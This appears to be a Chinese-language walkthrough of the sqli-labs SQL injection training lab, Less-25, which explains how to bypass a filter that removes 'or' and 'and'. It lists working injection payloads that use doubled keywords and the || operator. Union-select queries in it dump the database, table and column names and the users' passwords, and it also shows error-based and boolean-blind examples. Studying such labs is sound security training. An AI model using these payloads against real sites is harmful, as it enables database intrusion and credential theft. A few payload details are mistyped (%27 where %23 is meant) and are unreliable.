Sqli-labs之Less-25和Less-25a
Less-25
GET-基于错误-您所有的OR&AND都属于我们-字符串单引号
Notice: Undefined variable: hint in C:\phpStudy\WWW\sqli\Less-25\index.php on line 81
Hint: Your Input is Filtered with following result:翻译:
注意:未定义变量:在第81行的C:\ phpStudy \ WWW \ sqli \ Less-25 \ index.php中提示
提示:将使用以下结果过滤您的输入:
一上来就有报错与提示信息。
我们先正常输入,看返回的页面是什么样子的:
?id=1
有两条只要信息:1.页面返回了用户名和密码信息 2.有提示信息,提示:您的输入已过滤,结果如下:1
通过以上信息我们了解到这道关卡将会对我们注入的一些字符进行过滤。
那么测试引号闭合问题:
?id=1' 和 ?id=1"
发现是单引号注入,且没有多单引号进行过滤,由于中间字体图片过大,这里注释掉源文件显示该图片的代码,方便显示。
接下来就是过滤绕过了:
有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:
若是一次性的,且只是将过滤字符换成了空字符:
双写绕过——
or
=oorr
、and
=anandd
若是非一次性的,就要考虑一些变形:
大小写变形绕过——
or
=Or
=oR
=OR
利用运算符——
or
=||
、and
=&&
URL编码绕过——
#
=%23
,Hex编码——~
=0x7e
添加注释 ——
/*or*/
。。。。。
在开始注入前还要说一下的是,在url中空格和一些特殊字符会进行url编码例如:#是%23,空格是%20
所以这样写 ?id=1'# 将会报错,要写成这样 ?id=1'%27 才不会报错,所以我们可以使用 -- #进行注入或者 --+
查看下源码:
不区分大小写的意思:比如A和a作为不同字符看待,不区分是作为同一字符看待
本关卡是一次性绕过,所以可以利用手写绕过,当然也可以利用运算符进行绕过,因为源码中知识
这里的正则匹配//i
同时匹配大小写,所以不能用大小写绕过。
双写绕过
暴字段:
?id=1' oorrder by 3-- #
?id=-1' union select 1,2,3-- #
暴库:
?id=-1' union select 1,user(),database()-- #
爆表:
?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3-- #
爆字段:
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3-- #
爆数据:
?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3-- #
运算符绕过
?id=-1' || extractvalue(1,concat(0x7e,database()))-- #
或者
?id=1' || extractvalue(1,concat(0x7e,database()))-- # 都是一样的,理解or和函数extractvalue在一起的作用就会明白这两种写法都对。
剩下的自己尝试。
注意这里使用&&运算符会报错:(不知道为什么)
?id=1' && extractvalue(1,concat(0x7e,database()))-- #
这关使用布尔盲注也是没问题的:
?id=-1' || left(version(),1)=5-- #
(无错误的回显)
这里也要强调的是使用 oorr,aandnd,|| 进行绕过都是没问题的,但使用 && 就是不行,它只会报错,原理现在还不清楚。
========================= 分隔符 ==============================
Less-25a
待续: